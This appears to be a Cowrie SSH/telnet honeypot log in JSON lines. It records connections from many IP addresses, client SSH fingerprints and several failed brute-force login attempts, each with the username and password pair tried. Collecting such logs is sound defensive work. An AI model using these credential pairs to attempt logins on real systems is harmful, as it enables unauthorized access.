{"eventid":"cowrie.session.connect","src_ip":"103.183.114.55","src_port":49314,"dst_ip":"10.17.0.5","dst_port":22,"session":"71d2598cfde0","protocol":"ssh","message":"New connection: 103.183.114.55:49314 (10.17.0.5:22) [session: 71d2598cfde0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:44.067002Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:44.071330Z","src_ip":"103.183.114.55","session":"71d2598cfde0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:44.290866Z","src_ip":"103.183.114.55","session":"71d2598cfde0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"devuser","password":"devuser","message":"login attempt [devuser/devuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:44.663357Z","src_ip":"43.128.111.187","session":"53fb1a834e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"ghjcnjq","message":"login attempt [root/ghjcnjq] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:44.950087Z","src_ip":"103.183.114.55","session":"71d2598cfde0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.145","src_port":45356,"dst_ip":"10.17.0.5","dst_port":22,"session":"0127fec30d92","protocol":"ssh","message":"New connection: 193.32.162.145:45356 (10.17.0.5:22) [session: 0127fec30d92]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:45.388096Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:45.394787Z","src_ip":"193.32.162.145","session":"0127fec30d92","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:45.491090Z","src_ip":"193.32.162.145","session":"0127fec30d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:45.901534Z","src_ip":"43.128.111.187","session":"53fb1a834e7e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"123solana","message":"login attempt [solana/123solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:45.917688Z","src_ip":"193.32.162.145","session":"0127fec30d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:46.173054Z","src_ip":"103.183.114.55","session":"71d2598cfde0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:47.021447Z","src_ip":"193.32.162.145","session":"0127fec30d92","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":108.77951765060425,"message":"Connection lost after 108 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:47.616042Z","src_ip":"152.42.224.71","session":"a6c1c2bb7eee","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.660740613937378,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:50.918833Z","src_ip":"152.42.224.71","session":"dafd51eeb758","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":46824,"dst_ip":"159.203.135.109","dst_port":22,"session":"d94326080947","protocol":"ssh","message":"New connection: 59.17.95.129:46824 (159.203.135.109:22) [session: d94326080947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:54.430512Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:54.435552Z","src_ip":"59.17.95.129","session":"d94326080947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:54.637777Z","src_ip":"59.17.95.129","session":"d94326080947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev1","password":"dev1","message":"login attempt [dev1/dev1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:55.476863Z","src_ip":"59.17.95.129","session":"d94326080947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:56.686572Z","src_ip":"59.17.95.129","session":"d94326080947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":23.089864492416382,"message":"Connection lost after 23 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:58:57.613947Z","src_ip":"152.42.224.71","session":"9e1c6dd8aac7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"43.153.69.201","src_port":52326,"dst_ip":"10.17.0.5","dst_port":22,"session":"6770afe0f91f","protocol":"ssh","message":"New connection: 43.153.69.201:52326 (10.17.0.5:22) [session: 6770afe0f91f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:00.638206Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:00.643033Z","src_ip":"43.153.69.201","session":"6770afe0f91f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:00.711116Z","src_ip":"43.153.69.201","session":"6770afe0f91f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1b2c3","message":"login attempt [root/a1b2c3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:01.013548Z","src_ip":"43.153.69.201","session":"6770afe0f91f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":50818,"dst_ip":"10.17.0.5","dst_port":23,"session":"3407c8ba347c","protocol":"telnet","message":"New connection: 152.42.224.71:50818 (10.17.0.5:23) [session: 3407c8ba347c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:01.827199Z"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:02.084311Z","src_ip":"43.153.69.201","session":"6770afe0f91f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.106.119.118","src_port":49088,"dst_ip":"10.17.0.5","dst_port":22,"session":"0b7c92e8f1cc","protocol":"ssh","message":"New connection: 170.106.119.118:49088 (10.17.0.5:22) [session: 0b7c92e8f1cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:02.137151Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:02.142202Z","src_ip":"170.106.119.118","session":"0b7c92e8f1cc","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:02.215231Z","src_ip":"170.106.119.118","session":"0b7c92e8f1cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Pass123@","message":"login attempt [root/Pass123@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:02.524603Z","src_ip":"170.106.119.118","session":"0b7c92e8f1cc","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:03.597439Z","src_ip":"170.106.119.118","session":"0b7c92e8f1cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"197.248.104.31","src_port":39904,"dst_ip":"10.17.0.5","dst_port":22,"session":"e34b14e9f149","protocol":"ssh","message":"New connection: 197.248.104.31:39904 (10.17.0.5:22) [session: e34b14e9f149]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:04.671591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:04.676760Z","src_ip":"197.248.104.31","session":"e34b14e9f149","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:04.888186Z","src_ip":"197.248.104.31","session":"e34b14e9f149","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin2024","message":"login attempt [root/Admin2024] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:05.760140Z","src_ip":"197.248.104.31","session":"e34b14e9f149","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:06.974328Z","src_ip":"197.248.104.31","session":"e34b14e9f149","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"154.83.13.181","src_port":55678,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb8d7c0133cc","protocol":"ssh","message":"New connection: 154.83.13.181:55678 (159.203.135.109:22) [session: eb8d7c0133cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:07.718507Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:07.723836Z","src_ip":"154.83.13.181","session":"eb8d7c0133cc","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"62.193.106.227","src_port":57550,"dst_ip":"10.17.0.5","dst_port":22,"session":"3ec56d8d6785","protocol":"ssh","message":"New connection: 62.193.106.227:57550 (10.17.0.5:22) [session: 3ec56d8d6785]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:07.759333Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:07.764583Z","src_ip":"62.193.106.227","session":"3ec56d8d6785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:07.912690Z","src_ip":"62.193.106.227","session":"3ec56d8d6785","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:07.944229Z","src_ip":"154.83.13.181","session":"eb8d7c0133cc","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"3edc2wsx!QAZ","message":"login attempt [root/3edc2wsx!QAZ] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:08.527293Z","src_ip":"62.193.106.227","session":"3ec56d8d6785","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.159.169.93","src_port":40988,"dst_ip":"159.203.135.109","dst_port":22,"session":"68e9e9e3e4b9","protocol":"ssh","message":"New connection: 43.159.169.93:40988 (159.203.135.109:22) [session: 68e9e9e3e4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:08.642104Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T12:59:08.646887Z","src_ip":"43.159.169.93","session":"68e9e9e3e4b9","protocol":"ssh"}
